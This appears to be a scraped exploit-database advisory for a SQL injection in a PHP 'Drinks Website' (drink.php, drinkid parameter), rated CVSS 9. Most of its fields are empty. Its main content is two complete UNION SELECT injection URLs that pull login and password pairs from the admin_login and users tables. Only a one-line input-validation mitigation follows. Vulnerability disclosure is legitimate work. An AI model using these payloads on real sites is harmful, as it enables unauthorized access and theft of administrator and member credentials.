vendor:
Drinks Website
by:
Cyb3r-1sT
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Drinks Website
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020
Drinks Website
An attacker can exploit a SQL injection vulnerability in the Drinks Website to gain access to the admin and members login information. The attacker can use the following URL to exploit the vulnerability: www.site.me/patch/drinks/drink.php?drinkid=-99999+union+select+0,concat(login,0x3a,password)+from+admin_login/* for admin info and www.site.me/patch/drinks/drink.php?drinkid=-99999+union+select+0,concat(login,0x3a,password)+from+users/* for members info.
Mitigation:
Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.